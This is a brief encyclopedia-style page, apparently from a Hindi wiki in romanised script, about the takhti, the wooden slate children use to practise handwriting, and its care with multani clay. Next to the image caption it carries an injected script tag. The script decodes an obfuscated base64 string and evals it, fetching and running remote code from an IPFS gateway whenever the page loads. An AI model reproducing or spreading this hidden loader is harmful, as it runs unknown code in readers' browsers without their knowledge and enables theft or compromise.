तख़्ती
- kath ki patiya jis par bachche likhane ka abhyas karate haian.
- praranbhik shiksha ka adhar takhti qalam aur davat aj praimari skooloan se lagabhag gayab ho gaya hai.
- likhavat suandar ho isaliye prachin samay mean takhti, qalam aur syahi ka prayog anivaryata tha.
- takhti par kam karane ke bad use dhoya jata hai aur phir sukhaya jata hai.
- takhti ko roj multani mitti se potakar prayog kiya jata hai.
[[chitr:Kalam-Buddaka.jpg|thumb|250px|left|qalam aur buddaka]] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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